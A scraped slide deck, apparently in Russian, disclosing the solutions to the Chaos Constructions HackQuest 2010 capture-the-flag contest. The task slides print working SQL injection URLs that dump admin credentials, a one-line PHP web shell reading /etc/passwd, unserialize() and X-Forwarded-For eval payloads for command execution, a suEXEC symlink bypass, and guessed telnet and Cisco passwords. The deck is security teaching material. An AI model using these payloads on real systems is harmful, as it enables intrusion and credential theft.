Chaos Constructions HackQuest 2010,  Full Disclosure ( мастер - класс )
План мероприятия Несколько слов о мероприятии Заложенные уязвимости, пути их обнаружения и эксплуатации Практическое занятие
Пара слов о  HackQuest  на  Chaos Constructions 2010 HackQuest  на  CC  — это открытые соревнования по защите информации, сутью которых является выполнение ряда разнообразных заданий связанных с информационной безопасностью :   web hacking,  social engineering, reverse engineering и т.п. HackQuest  на  CC  предоставляет полную свободу выбора по прохождению заданий.  Для захвата одного «ключа» необходимо воспользоваться чередой реальных уязвимостей в самых настоящих (продуктивных) системах. Расположение большинства «ключей» заранее не известно.
Разработчики  HackQuest  на  Chaos Constructions 2010 Антон Карпов (без комментариев ;  он сам за себя все сказал :   100% Virus Free Podcast #17 ,  http://www.esetnod32.ru/.company/podcast/ ) Сергей Рублев, Тимур Юнусов,  Сергей Павлов, Дмитрий Евтеев Александр Матросов Тарас Иващенко ( Oxdef) ,  Дмитрий Сидоров ( INVENT ) Владимир Воронцов ( D0znp)
Карта игровой инфраструктуры 192.168.192.2 Содержит задания 192.168.192.3 ( honeypot) Cisco 1601R router 192.168.192.4  Содержит задания 192.168.192.5 ( honeypot) Sun Solaris 9 192.168.192.6  Содержит задания 192.168.192.7 ( honeypot) Windows XP SP1 192.168.192.8  Содержит задания 192.168.192.9 Содержит задания 192.168.192.10 Содержит задания 192.168.192.11 ( honeypot) IBM AIX 4.2.X-4.3.3.0 192.168.192.12  Содержит задания 192.168.192.13 ( honeypot) Linux SuSE 192.168.192.14 (honeypot) Windows 2000 Server SP2 192.168.192.15  Содержит задания 192.168.192.16 ( honeypot) Cisco IOS 192.168.192.17  Содержит задания 192.168.192.18 (honeypot) Cisco Catalyst 192.168.192.19 (honeypot) Juniper router 192.168.192.20  Содержит задания 192.168.192.21 ( honeypot) Windows 2000 SP3 192.168.192.22 (honeypot) Check Point FireWall-1 192.168.192.10x  Содержит задания 192.168.192.10x  Содержит задания 192.168.192.172 ( honeypot) APC Smart-UPS 192.168.192.173  хост не является целью WiFi Социальная инженерия Набор дополнительных заданий
CC HackQuest 2010:  Задание  #1 SQL Injection  ( MySQL 5.x )  в Insert (error based) over Mod_Security Уязвимый запрос : … $query = "INSERT INTO indexes (text,source) value ('". $_GET['text'] ."',". $_GET['action'] .")";  … Эксплуатация : /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)) */ on+duplicate+key+update+a=('
CC HackQuest 2010:  Задание  #1 SQL Injection  ( MySQL 5.x )  в Insert (error based) over Mod_Security Альтернативные методы эксплуатации : /search.php?action=0&text=1' /*! %2b (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %2b */ '1 /search.php?action=0&text=1' /*! %26 (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %26 */ '1 /search.php?action=0&text=1' /*! %26('blabla')%26 (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %2b */ '1 /search.php?action=0&text=1' /*! %26(''%22%22'')%2b (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %26 */ '1
CC HackQuest 2010:  Задание  #1 SQL Injection  ( MySQL 5.x )  в Insert (error based) over Mod_Security Классическая последовательность эксплуатации : На выходе – таблица « admins »  /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+where+table_schema!='information_schema'+and+table_schema!='mysql'+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)) */ on+duplicate+key+update+a=('   …  На выходе – имена колонок  « login » и « password » в таблице « admins »  /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+column_name+from+information_schema.columns+where+table_name='admins'+limit+1,1),0x3a,floor(rand(0)*2))x+from+information_schema.columns+group+by+x)a)) */ on+duplicate+key+update+a=('   /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+column_name+from+information_schema.columns+where+table_name='admins'+limit+2,1),0x3a,floor(rand(0)*2))x+from+information_schema.columns+group+by+x)a)) */ on+duplicate+key+update+a=('
CC HackQuest 2010:  Задание  #1 SQL Injection  ( MySQL 5.x )  в Insert (error based) over Mod_Security Классическая последовательность эксплуатации : На выходе –   данные из таблицы « admins » /search.php?action=1&text=1' /* !,(select+1+from(select+count(*),concat((select+concat_ws(0x3a,login,password)+from+admins+limit+0,1),0x3a,floor(rand(0)*2))x+from+admins+group+by+x)a)) */ on+duplicate+key+update+a=('
CC HackQuest 2010:  Задание  #1 Обнаружение раздела администрирования сайтом ( via robots.txt ) Восстановление  MD5- хеша ( via rainbow tables, eq www.xmd5.org )
CC HackQuest 2010:  Задание  #1 Классическая эксплуатация  Remote File Including Получение приватного  RSA  ключа   в одном из домашних каталогов пользователей системы
CC HackQuest 2010:  Задание  #1 Использование  RSA  ключа для доступа к системе (пароль не требуется) В случае использования пароля к  RSA  ключу, можно было использовать  SSH Private-Key cracker  ( http://www.neophob.com/serendipity/index.php?/archives/123-SSH-Private-Key-cracker.html )
CC HackQuest 2010:  Задание  # 2 SQL Injection  ( PostgreSQL )  в Select (error based) Уязвимость содержится в разделе восстановления пароля пользователя. Эксплуатация : /index.php?r=recovery&name=1&email=1&status= cast(version()+as+numeric)
CC HackQuest 2010:  Задание  # 2 SQL Injection  ( PostgreSQL )  в Select (error based) Классическая последовательность эксплуатации : На выходе – таблица « vsmsusers »  /index.php?r=recovery&name=1&email=1&status=1 ;select+cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric)-- ... /index.php?r=recovery&name=1&email=1&status=1 ;select+cast((select+table_name+from+information_schema.tables+limit+1+offset+105)+as+numeric)--    …  На выходе – имена колонок « login » и « password » в таблице « vsmsusers »   /index.php?r=recovery&name=1&email=1&status=1 ;select+cast((select+column_name+from+information_schema.columns+where+table_name=chr(118)||chr(115)||chr(109)||chr(115)||chr(117)||chr(115)||chr(101)||chr(114)||chr(115)+limit+1+offset+1)+as+numeric)-- …
CC HackQuest 2010:  Задание  # 2 SQL Injection  ( PostgreSQL )  в Select (error based) Следуя подсказке : Получение данных, восстановление  SHA1- хеша ( plain   text:  8167) :
CC HackQuest 2010:  Задание  # 2 Обнаружение уязвимости  File Including
CC HackQuest 2010:  Задание  # 2 Выполнение команд на сервере с использованием «самого короткого веб - шелла» : /index.php?u=LV89284&p= data:, <?=@`$c`?>&c=ls /index.php?u=LV89284&p= data:, <?=@`$c`?>&c=cat /etc/passwd Как это работает ? Использование  stream wrappers ( « data » появился в  PHP  с версии  5.2.0) short_open_tag  и  register_globals  в состоянии « ON » <?= ?> эквивалентно <?  echo ?>; Использование обратных кавычек эквивалентно использованию  shell_exec()   Дополнительно : http://php.net/manual/en/wrappers.data.php http://www.php.net/manual/en/wrappers.php.php http://ru.php.net/operators.execution http://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/
CC HackQuest 2010:  Задание  # 2 Результат эксплуатации уязвимости  LFI
CC HackQuest 2010:  Задание  # 2 Получение ключа возможно после осуществления успешного перебора к сервису удаленного администрирования  telnet  (могут использоваться  THC-Hydra ,  Medusa ,  ncrack, etc ).   LOGIN:  websupervis0r2  PASSWORD:  websupervis0r2
CC HackQuest 2010:  Задание  #3 Сложность первого этапа указанного задания заключается в переборе «спрятанных» за  Mod_rewrite  поступающих параметров в приложение.
Журнал Хакер ( http://www.xakep.ru/magazine/xa/138/default.asp )   &quot;Фаззинг сайта, «защищенного»  mod_rewrite&quot; , Тимур Юнусов ; http://ptresearch.blogspot.com/2010/09/fuzzing-of-modrewrite-protected-site.html  http://www.ptsecurity.ru/download/modrewrite_search.zip CC HackQuest 2010:  Задание  #3
Mod_Rewrite  и  HTTP 413  « Request Entity Too Large » Ошибка возникает в следствии некоренного значения « Content-length » http://devteev.blogspot.com/2010/09/modrewrite.html CC HackQuest 2010:  Задание  #3
CC HackQuest 2010:  Задание  #3 Blind SQL Injection  ( MySQL 4.0.x ) Логически истинный запрос ( true )  /index.php?pag=1 'or(1)=(1)/* &login=1&password=1 Логически ложный запрос  (false) /index.php?pag=1 'or(1)=(2)/* &login=1&password=1
CC HackQuest 2010:  Задание  #3 Blind SQL Injection  ( MySQL 4.0.x ) Эксплуатация : /index.php?pag=1 '+or+mid(version(),1,3)='4.0'/* &login=1&password=1 /index.php?pag=1 '+or+mid(login,1,1)='b'/* &login=1&password=1 ... /index.php?pag=1 '+or+mid(password,1,1)='a'/* &login=1&password=1 ...
CC HackQuest 2010:  Задание  #3 Восстановление  MD5- хеша Доступ к веб-приложению (переход от « black-box »   к   « gray-box »)
CC HackQuest 2010:  Задание  #3 Уязвимость  HTTP Parameter Pollution (HPP)  Содержимое  .htaccess: ErrorDocument 404 ./404.html RewriteEngine On RewriteRule ^([0-9]*)\.php ./index.php?pag=$1 [L,QSA] RewriteRule ([0-9]*)/$ ./system.php?id=$1 &access=user  [L,QSA]
Что такое  HTTP Parameter Pollution? OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
Что уязвимо к атаке  HTTP Parameter Pollution Технология / Среда Интерпретация параметров Пример ASP.NET/IIS Склеивание через запятую par1=val1,val2 ASP/IIS Склеивание через запятую par1=val1,val2 PHP/APACHE Последний параметр результирующий par1=val2 PHP/Zeus Последний параметр результирующий par1=val2 JSP, Servlet/Apache Tomcat Первый параметр результирующий par1=val1 JSP,Servlet/Oracle Application Server 10g Первый параметр результирующий par1=val1 JSP,Servlet/Jetty Первый параметр результирующий par1=val1 IBM Lotus Domino Первый параметр результирующий par1=val1 IBM HTTP Server Последний параметр результирующий par1=val2 mod_perl,libapeq2/Apache Первый параметр результирующий par1=val1 Perl CGI/Apache Первый параметр результирующий par1=val1 mod_perl,lib???/Apache Первый параметр результирующий par1=val1 mod_wsgi (Python)/Apache Возвращается массив ARRAY(0x8b9058c) Pythin/Zope Первый параметр результирующий par1=val1 IceWarp Возвращается массив ['val1','val2'] AXIS 2400 Последний параметр результирующий par1=val2 Linksys Wireless-G PTZ Internet Camera Склеивание через запятую par1=val1,val2 Ricoh Aficio 1022 Printer  Последний параметр результирующий par1=val2 webcamXP Pro Первый параметр результирующий par1=val1 DBMan Склеивание через две тильды par1=val1~~val2
CC HackQuest 2010:  Задание  #3 Использование уязвимости  HTTP Parameter Pollution /1/? access=admin  или  /system.php?id=1& access=admin
CC HackQuest 2010:  Задание  #3 Выполнение команд на сервере over unserialize() Потенциально уязвимый участок кода ( index.php ) : … echo $pages['adminka']; $sessid =  unserialize($_COOKIE['admin_id']); … Уязвимый участок кода ( functions.php ) : … function __destruct() {echo $this->shutdown; if (!empty($this->shutdown)){ $var = $this->shutdown[0]; $arg = $this->shutdown[1]; $var($arg); … Еще почитать :  « PHP unserialize() _SESSION and Dynamics » ,  Владимир Воронцов ( http://oxod.ru/?p=244)
CC HackQuest 2010:  Задание  #3 Выполнение команд на сервере over unserialize() Эксплуатация  (cookie[admin_id]): O:8:&quot;Database&quot;:1:{s:8:&quot;shutdown&quot;%3Ba:2:{i:0%3Bs:7:&quot; phpinfo &quot;%3Bi:1%3Bs:2:&quot; -1 &quot;%3B}} O:8:&quot;Database&quot;:1:{s:8:&quot;shutdown&quot;%3Ba:2:{i:0%3Bs:8:&quot; passthru &quot;%3Bi:1%3Bs:8:&quot; ls -la / &quot;%3B}} O:8:&quot;Database&quot;:1:{s:8:&quot;shutdown&quot;%3Ba:2:{i:0%3Bs:8:&quot; passthru &quot;%3Bi:1%3Bs:8:&quot; cat /KEY &quot;%3B}}
CC HackQuest 2010:  Задание  #4 Александр Матросов,  http://amatrosov.blogspot.com/
CC HackQuest 2010:  Задание  # 5 Нестандартный язык программирования ( Lua ) Владимир Воронцов,  http://oxod.ru/
Выход за пределы каталога  (path traversal)   Эксплуатация : cat file.in | b64decode -o file.out openssl enc -d -aes-256-cbc -in file.out -out file.decrypt -k ' из  history' CC HackQuest 2010:  Задание  # 6
Хостинг-сервер Для получения доступа к веб-приложениям требовалось идентифицировать их присутствие. Это было возможно путем переноса обслуживаемой  DNS- зоны. dig @192.168.192.10 PTR  10.192.168.192.in-addr.arpa dig @192.168.192.10  cc10.site axfr CC HackQuest 2010:  Задание  # 7
Классическая уязвимость  Local File Including Эксплуатируется неклассическим методом (см. «Новая веха в теории инклуда: свежие способы раскрутки local и remote file include»,  http://www.xakep.ru/post/49508/default.asp ) CC HackQuest 2010:  Задание  # 7
Пример проведения атаки : CC HackQuest 2010:  Задание  # 7
Обход ограничений  SuEXEC Уязвимость заключается в возможности переопределить установленные ограничения на каталог веб-сервера ( FollowSymLinks ) Использование уязвимости : echo  Options +FollowSymLinks  > /usr/local/www/data/vasya/.htaccess ln -s  /usr/local/www/data/root/ .htaccess  /usr/local/www/data/vasya/ access.txt ln -s  /usr/local/www/data/root/ .htpasswd_new  /usr/local/www/data/vasya/ passwd.txt http://www.kernelpanik.org/docs/kernelpanik/suexec.en.pdf CC HackQuest 2010:  Задание  # 7
Социальная инженерия Получение исходного кода и адреса уязвимого приложения ;  эксплуатация уязвимости «Внедрение операторов  SQL »   в  SQLite  с использованием особенностей функции  sqlite_escape_string () ;  Владимир Воронцов,  http://www.xakep.ru/post/53551/default.asp  CC HackQuest 2010:  Задание  #8
Для прохождения задания требуется получение исходного кода приложения CC HackQuest 2010:  Задание  #9
Эксплуатация уязвимости : X-Forwarded-For= ';?><?eval($_GET['cmd']);?><?$a=' Результат такого запроса : # cat /usr/local/www/apache22/data/blacklist.php <? include_once('config.php'); $blacklist_ip[0] = ' ';?><?eval($_GET['cmd']);?> <?$a=''; ?> CC HackQuest 2010:  Задание  #9
Получение доступа к используемой конфигурации  Cisco   Login: cc10Cisco Password: cisco Router> enable 3 Password:   Cisco Router#show privilege Current privilege level is 3 Router# show running-config view full CC HackQuest 2010:  Задание  # 10
Подбор содержимого  TFTP- сервера http://code.google.com/p/tftptheft/downloads/list CC HackQuest 2010:  Задание  # 1 1
Тонкости  Microsoft Active Directory CC HackQuest 2010:  Задание  # 1 2
Тонкости  Microsoft Active Directory CC HackQuest 2010:  Задание  # 1 2
IPv6, WiFi, задание с использованием  Cross-Site Scripting,  стеганография, задания на поиск ключа в PDF и др. Всего  игровая инфраструктура содержала 21 ключ . CC HackQuest 2010:  Другие задания
CC HackQuest 2010:  Победители I. RDOT.org (8  заданий) II. Andrey 1800 (4  задания) III. nucro (4  задания) III. neweagle (4  задания)
CC HackQuest 2010:  Вместо заключения Что дальше ? Выполните практическое занятие Участвуйте  online   http://www.securitylab.ru/hq2010 И еще немного  ссылок : http://cc.org.ru/ http://devteev.blogspot.com/2010/08/chaos-constructions-2010_30.html
Спасибо за внимание! Вопросы ? [email_address] http://devteev.blogspot.com/

More Related Content

DOC
Chaos Constructions HackQuest 2010 Full Disclosure (мастер-класс)
PPTX
Web осень 2013 лекция 9
PDF
Web осень 2013 лекция 6
PPTX
Web осень 2013 лекция 8
PPTX
Web осень 2013 лекция 4
PPTX
Web осень 2013 лекция 7
PPTX
Web осень 2013 лекция 5
PDF
Web осень 2013 лекция 2
Chaos Constructions HackQuest 2010 Full Disclosure (мастер-класс)
Web осень 2013 лекция 9
Web осень 2013 лекция 6
Web осень 2013 лекция 8
Web осень 2013 лекция 4
Web осень 2013 лекция 7
Web осень 2013 лекция 5
Web осень 2013 лекция 2

What's hot (19)

PPTX
«Introduction to malware reverse engineering» by Sergey Kharyuk aka ximerus
DOC
PT MIFI Labsql
PDF
Web осень 2013 лекция 3
PPT
PT MIFI Labsql
PDF
Профилирование и отладка Django
PPTX
Взломать сайт на ASP.NET
PPT
Advanced Sql Injection
PDF
Подводные камни System.Security.Cryptography
PPT
Производительность в Django
PDF
Управление большим количеством физических серверов, Александр Берсенев, Инст...
PPTX
Подводные камни прикладной криптографии, I
PDF
Оптимизация производительности Python
PPTX
Тестирование программных фильтров безопасности
DOC
PT Hackday#2
PDF
SECON'2014 - Павел Щеваев - Метаданные и автогенерация кода
PPT
PT Hackday#2
PDF
Новые возможности отладки MySQL 5.7 на практике
PPTX
JS Fest 2019/Autumn. Дмитрий Жарков. Blockchainize your SPA or Integrate Java...
PDF
web_serivces
«Introduction to malware reverse engineering» by Sergey Kharyuk aka ximerus
PT MIFI Labsql
Web осень 2013 лекция 3
PT MIFI Labsql
Профилирование и отладка Django
Взломать сайт на ASP.NET
Advanced Sql Injection
Подводные камни System.Security.Cryptography
Производительность в Django
Управление большим количеством физических серверов, Александр Берсенев, Инст...
Подводные камни прикладной криптографии, I
Оптимизация производительности Python
Тестирование программных фильтров безопасности
PT Hackday#2
SECON'2014 - Павел Щеваев - Метаданные и автогенерация кода
PT Hackday#2
Новые возможности отладки MySQL 5.7 на практике
JS Fest 2019/Autumn. Дмитрий Жарков. Blockchainize your SPA or Integrate Java...
web_serivces

Viewers also liked (20)

PPTX
Такой (не)безопасный веб
PDF
쿨라우드 컴퓨팅 기반 스마트그리드 데이터 분석 플랫폼 개발
PPTX
SQL Server Security Best Practices - Евгений Недашковский
PPT
PPT
PHDays CTF 2011 Quals/Afterparty: как это было
PPT
РусКрипто CTF 2010 Full Disclosure (мастер класс)
PPT
Мобильный офис глазами пентестера
PPT
Практика проведения DDoS-тестирований
PPT
Введение в тему безопасности веб-приложений
PPT
Реальные опасности виртуального мира.
PPTX
тестирование защищенности веб приложений
PPTX
Как взламывают сети государственных учреждений
PDF
[1.1] Почему вам стоит поучаствовать в жизни OWASP Russia - Александр Антух
PPT
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
PPTX
Услуги PT для банков
PPTX
PHDays 2012: Future Now
PPTX
Собираем команду хакеров
PPTX
Тестирование на проникновение в сетях Microsoft (v.2)
PPTX
Статистика по результатам тестирований на проникновение и анализа защищенност...
PPT
Методы обхода Web Application Firewall
Такой (не)безопасный веб
쿨라우드 컴퓨팅 기반 스마트그리드 데이터 분석 플랫폼 개발
SQL Server Security Best Practices - Евгений Недашковский
PHDays CTF 2011 Quals/Afterparty: как это было
РусКрипто CTF 2010 Full Disclosure (мастер класс)
Мобильный офис глазами пентестера
Практика проведения DDoS-тестирований
Введение в тему безопасности веб-приложений
Реальные опасности виртуального мира.
тестирование защищенности веб приложений
Как взламывают сети государственных учреждений
[1.1] Почему вам стоит поучаствовать в жизни OWASP Russia - Александр Антух
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Услуги PT для банков
PHDays 2012: Future Now
Собираем команду хакеров
Тестирование на проникновение в сетях Microsoft (v.2)
Статистика по результатам тестирований на проникновение и анализа защищенност...
Методы обхода Web Application Firewall

Similar to CC HackQuest 2010 Full Disclosure (мастер-класс) (20)

DOC
РусКрипто CTF 2010 Full Disclosure (мастер класс)
PPTX
Тестирование защищенности веб-приложений
PPT
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
PDF
Антон Карпов - Обзорная лекция по безопасности
PPT
Positive Hack Days. Гольцев. Мастер - класс: Уязвимости Web – сложные случаи.
PPT
plwww (24.03) MEPHI (PHDays)
PPT
Юрий Гольцев - Сервис PLWWW
PPTX
Blind SQL Injections. Достаточно ли хороши ваши тесты?
PPT
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
PPTX
Тестирование программных фильтров безопасности
PPTX
Blind Sql Injections. Хороши ли ваши тесты?
PPT
Web осень 2012 лекция 4
PPTX
СУБД 2013 Лекция №9 "Безопасность баз данных"
PPT
Web весна 2012 лекция 4
PPTX
Blackbox-тестирование веб-приложений
PPT
Информационная безопасность и web-приложения
PPTX
Информационная безопасность в веб - основы
PDF
Pt devteev-risspa
PDF
Сергей Аверин, То, что вы хотели знать о HandlerSocket, но не смогли нагуглить
PPTX
QA Fest 2019. Евгений Толчинский. Injections - 4 ways of Penetration
РусКрипто CTF 2010 Full Disclosure (мастер класс)
Тестирование защищенности веб-приложений
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Антон Карпов - Обзорная лекция по безопасности
Positive Hack Days. Гольцев. Мастер - класс: Уязвимости Web – сложные случаи.
plwww (24.03) MEPHI (PHDays)
Юрий Гольцев - Сервис PLWWW
Blind SQL Injections. Достаточно ли хороши ваши тесты?
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Тестирование программных фильтров безопасности
Blind Sql Injections. Хороши ли ваши тесты?
Web осень 2012 лекция 4
СУБД 2013 Лекция №9 "Безопасность баз данных"
Web весна 2012 лекция 4
Blackbox-тестирование веб-приложений
Информационная безопасность и web-приложения
Информационная безопасность в веб - основы
Pt devteev-risspa
Сергей Аверин, То, что вы хотели знать о HandlerSocket, но не смогли нагуглить
QA Fest 2019. Евгений Толчинский. Injections - 4 ways of Penetration

More from Dmitry Evteev (15)

PPTX
Противодействие хищению персональных данных и платежной информации в сети Инт...
PPTX
penetest VS. APT
PPTX
Уязвимости систем ДБО в 2011-2012 гг.
PPTX
Истории из жизни. Как взламывают сети крупных организаций.
PPTX
Демонстрация атаки на ДБО
PPTX
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
PPTX
Типовые проблемы безопасности банковских систем
PPTX
Тестирование на проникновение в сетях Microsoft
PPT
Безопасность веб-приложений сегодня
PPT
Penetration testing (AS IS)
PPT
Развитие систем анализа защищенности. Взгляд в будущее!
PPT
WAF наше все?!
PPT
Ломаем (и строим) вместе
PPT
Ruscrypto CTF 2010 Full Disclosure
PPT
Penetration testing, What’s this?
Противодействие хищению персональных данных и платежной информации в сети Инт...
penetest VS. APT
Уязвимости систем ДБО в 2011-2012 гг.
Истории из жизни. Как взламывают сети крупных организаций.
Демонстрация атаки на ДБО
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
Типовые проблемы безопасности банковских систем
Тестирование на проникновение в сетях Microsoft
Безопасность веб-приложений сегодня
Penetration testing (AS IS)
Развитие систем анализа защищенности. Взгляд в будущее!
WAF наше все?!
Ломаем (и строим) вместе
Ruscrypto CTF 2010 Full Disclosure
Penetration testing, What’s this?

CC HackQuest 2010 Full Disclosure (мастер-класс)

  • 1. Chaos Constructions HackQuest 2010, Full Disclosure ( мастер - класс )
  • 2. План мероприятия Несколько слов о мероприятии Заложенные уязвимости, пути их обнаружения и эксплуатации Практическое занятие
  • 3. Пара слов о HackQuest на Chaos Constructions 2010 HackQuest на CC — это открытые соревнования по защите информации, сутью которых является выполнение ряда разнообразных заданий связанных с информационной безопасностью : web hacking, social engineering, reverse engineering и т.п. HackQuest на CC предоставляет полную свободу выбора по прохождению заданий. Для захвата одного «ключа» необходимо воспользоваться чередой реальных уязвимостей в самых настоящих (продуктивных) системах. Расположение большинства «ключей» заранее не известно.
  • 4. Разработчики HackQuest на Chaos Constructions 2010 Антон Карпов (без комментариев ; он сам за себя все сказал : 100% Virus Free Podcast #17 , http://www.esetnod32.ru/.company/podcast/ ) Сергей Рублев, Тимур Юнусов, Сергей Павлов, Дмитрий Евтеев Александр Матросов Тарас Иващенко ( Oxdef) , Дмитрий Сидоров ( INVENT ) Владимир Воронцов ( D0znp)
  • 5. Карта игровой инфраструктуры 192.168.192.2 Содержит задания 192.168.192.3 ( honeypot) Cisco 1601R router 192.168.192.4 Содержит задания 192.168.192.5 ( honeypot) Sun Solaris 9 192.168.192.6 Содержит задания 192.168.192.7 ( honeypot) Windows XP SP1 192.168.192.8 Содержит задания 192.168.192.9 Содержит задания 192.168.192.10 Содержит задания 192.168.192.11 ( honeypot) IBM AIX 4.2.X-4.3.3.0 192.168.192.12 Содержит задания 192.168.192.13 ( honeypot) Linux SuSE 192.168.192.14 (honeypot) Windows 2000 Server SP2 192.168.192.15 Содержит задания 192.168.192.16 ( honeypot) Cisco IOS 192.168.192.17 Содержит задания 192.168.192.18 (honeypot) Cisco Catalyst 192.168.192.19 (honeypot) Juniper router 192.168.192.20 Содержит задания 192.168.192.21 ( honeypot) Windows 2000 SP3 192.168.192.22 (honeypot) Check Point FireWall-1 192.168.192.10x Содержит задания 192.168.192.10x Содержит задания 192.168.192.172 ( honeypot) APC Smart-UPS 192.168.192.173 хост не является целью WiFi Социальная инженерия Набор дополнительных заданий
  • 6. CC HackQuest 2010: Задание #1 SQL Injection ( MySQL 5.x ) в Insert (error based) over Mod_Security Уязвимый запрос : … $query = &quot;INSERT INTO indexes (text,source) value ('&quot;. $_GET['text'] .&quot;',&quot;. $_GET['action'] .&quot;)&quot;; … Эксплуатация : /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)) */ on+duplicate+key+update+a=('
  • 7. CC HackQuest 2010: Задание #1 SQL Injection ( MySQL 5.x ) в Insert (error based) over Mod_Security Альтернативные методы эксплуатации : /search.php?action=0&text=1' /*! %2b (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %2b */ '1 /search.php?action=0&text=1' /*! %26 (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %26 */ '1 /search.php?action=0&text=1' /*! %26('blabla')%26 (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %2b */ '1 /search.php?action=0&text=1' /*! %26(''%22%22'')%2b (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %26 */ '1
  • 8. CC HackQuest 2010: Задание #1 SQL Injection ( MySQL 5.x ) в Insert (error based) over Mod_Security Классическая последовательность эксплуатации : На выходе – таблица « admins » /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+where+table_schema!='information_schema'+and+table_schema!='mysql'+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)) */ on+duplicate+key+update+a=(' … На выходе – имена колонок « login » и « password » в таблице « admins » /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+column_name+from+information_schema.columns+where+table_name='admins'+limit+1,1),0x3a,floor(rand(0)*2))x+from+information_schema.columns+group+by+x)a)) */ on+duplicate+key+update+a=(' /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+column_name+from+information_schema.columns+where+table_name='admins'+limit+2,1),0x3a,floor(rand(0)*2))x+from+information_schema.columns+group+by+x)a)) */ on+duplicate+key+update+a=('
  • 9. CC HackQuest 2010: Задание #1 SQL Injection ( MySQL 5.x ) в Insert (error based) over Mod_Security Классическая последовательность эксплуатации : На выходе – данные из таблицы « admins » /search.php?action=1&text=1' /* !,(select+1+from(select+count(*),concat((select+concat_ws(0x3a,login,password)+from+admins+limit+0,1),0x3a,floor(rand(0)*2))x+from+admins+group+by+x)a)) */ on+duplicate+key+update+a=('
  • 10. CC HackQuest 2010: Задание #1 Обнаружение раздела администрирования сайтом ( via robots.txt ) Восстановление MD5- хеша ( via rainbow tables, eq www.xmd5.org )
  • 11. CC HackQuest 2010: Задание #1 Классическая эксплуатация Remote File Including Получение приватного RSA ключа в одном из домашних каталогов пользователей системы
  • 12. CC HackQuest 2010: Задание #1 Использование RSA ключа для доступа к системе (пароль не требуется) В случае использования пароля к RSA ключу, можно было использовать SSH Private-Key cracker ( http://www.neophob.com/serendipity/index.php?/archives/123-SSH-Private-Key-cracker.html )
  • 13. CC HackQuest 2010: Задание # 2 SQL Injection ( PostgreSQL ) в Select (error based) Уязвимость содержится в разделе восстановления пароля пользователя. Эксплуатация : /index.php?r=recovery&name=1&email=1&status= cast(version()+as+numeric)
